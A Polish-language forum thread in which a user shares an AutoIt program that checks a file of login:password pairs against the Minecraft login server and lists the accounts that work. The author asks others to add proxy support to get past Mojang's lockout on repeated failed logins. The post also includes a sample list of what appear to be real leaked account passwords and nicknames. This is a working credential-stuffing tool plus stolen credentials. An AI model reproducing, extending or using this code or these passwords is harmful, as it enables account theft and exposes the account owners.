[Pytanie] Minecraft check premium

[krystiandj]

Wstawiam tutaj mój programik który napisałem. Sprawdza on czy konto ma premium ale niestety nie będzie działał poprawnie bo okazało się ze mojang ma zabezpieczenie które blokuje logowanie po kilkukrotnym nieudanym logowaniu jak ktoś potrafi dopisać kawałek kodu na proxy to bardzo prosze

tutaj kod:

#include <ButtonConstants.au3>

#include <EditConstants.au3>

#include <GUIConstantsEx.au3>

#include <StaticConstants.au3>

#include <WindowsConstants.au3>

#Region ### START Koda GUI section ### Form=

$Form1 = GUICreate("Form1", 305, 427, 195, 124)

$Label1 = GUICtrlCreateLabel("Sprawdz premium", 32, 8, 214, 33)

GUICtrlSetFont(-1, 17, 800, 4, "MS Sans Serif")

$Edit1 = GUICtrlCreateEdit("", 96, 56, 201, 361,BitOR($GUI_SS_DEFAULT_EDIT,$ES_READONLY))

GUICtrlSetData(-1, "Konta premium:"&@CRLF)

GUICtrlSetColor(-1, 0x000000)

$Label2 = GUICtrlCreateLabel("Podaj liste"&@CRLF&"Login:Haslo:Nick"&@CRLF&"lub"&@CRLF&"Login:Haslo", 8, 56, 85, 67)

$Button1 = GUICtrlCreateButton("Wybierz liste", 8, 120, 75, 25)

$Button2 = GUICtrlCreateButton("Sprawdzaj ", 8, 160, 75, 25)

$Button3 = GUICtrlCreateButton("Koniec", 8, 360, 75, 25)

$Label3 = GUICtrlCreateLabel("by kamildj23", 8, 400, 74, 17)

GUICtrlSetFont(-1, 8, 800, 0, "MS Sans Serif")

GUICtrlSetColor(-1, 0x00FFFF)

GUISetState(@SW_SHOW)

#EndRegion ### END Koda GUI section ###

Global $lista = ""

While 1

$nMsg = GUIGetMsg()

Switch $nMsg

Case $GUI_EVENT_CLOSE

Exit

case $Button2

start()

Case $Button1

$lista=FileOpenDialog("Wybierz plik tekstowy","","(*.*)")

EndSwitch

WEnd

func start()

If $lista == "" Then

MsgBox("","","Wybierz liste")

Else

$linie=StringSplit(FileRead($lista), @CRLF, 1);ile lini

$handle=FileOpen($lista,0)

$ile = 0

Do

$ile+=1

;=========Przeksztalcanie z pliku tekstowego=========;

$handle = FileReadLine($lista,$ile)

$w=StringInStr($handle,":");szuka pierwszego :

$dl = StringLen($handle) - $w; ile mam odciac od prawej

$w=StringRight($handle,$dl);Odcinam z prawej

$login=StringLeft($handle,StringInStr($handle,":")-1);Odcinam z lewej

$a=StringInStr($w,":");szuka drugiego :

If $a == 0 Then;jezeli nie ma drugiego :

$haslo=$w

Else

$haslo=StringLeft($w,$a - 1);Odcinam z lewej

EndIf

;MsgBox("","","Login: "&$login)

;MsgBox("","","Haslo: "&$haslo)

;==================================================;

;=========Sprawdzanie loginu i hasła=========;

Dim $obj = ObjCreate ("WinHttp.WinHttpRequest.5.1") ;łączenie ze stroną

$obj.Open("PUT","http://login.minecraft.net/?user="&$login&"&password="&$haslo&"&version=13", false)

if @error Then

MsgBox("","Minecraft Nick Premium","Eror")

EndIf

$obj.Send("")

If $obj.ResponseText=="Bad login" Then ;ni ma premki

ElseIf $obj.ResponseText == "Account migrated, use e-mail as username." Then ; konto przeniesione na email

ElseIf $obj.ResponseText == "Bad request" Then; zle zapytanie

ElseIf $obj.ResponseText == "Too many failed logins" Then;za duzo polaczen

#Region --- CodeWizard generated code Start ---

If Not IsDeclared("iMsgBoxAnswer") Then Local $iMsgBoxAnswer

$iMsgBoxAnswer = MsgBox(36,"","Za dużo błędnych logowań." & @CRLF & "Czy chcesz kontynułować ?")

Select

Case $iMsgBoxAnswer = 6 ;Yes

Case $iMsgBoxAnswer = 7 ;No

ExitLoop

EndSelect

#EndRegion --- CodeWizard generated code End ---

Else

MsgBox("","","Jest Premium!");Premium !

GUICtrlSetData($Edit1,$login&"-"&$haslo&@CRLF,1)

EndIf

;===========================================;

Until $ile == $linie

EndIf

EndFunc

Lista passów powinna wyglądać tak:

[email protected]:banana01:banana
[email protected]:canada:ballisticollyf
[email protected]:lifeisgreat2:bamitssim
[email protected]:meiscool:balex32345
[email protected]:badmanpatrick:chicken
[email protected]:calzaghe1:biglongbanana
[email protected]:bmanfoley:bcf123
[email protected]:poptarts17:blueboy17
[email protected]:redmat

może być Login:Haslo:Nick lub Login:Haslo

[hehe7]

To nie ten sam program co w Gotowych twojego autorstwa?

[krystiandj]

Nie. Tamten sprawdzał czy nick jest premium a ten sprawdza całe konto czyli login i haslo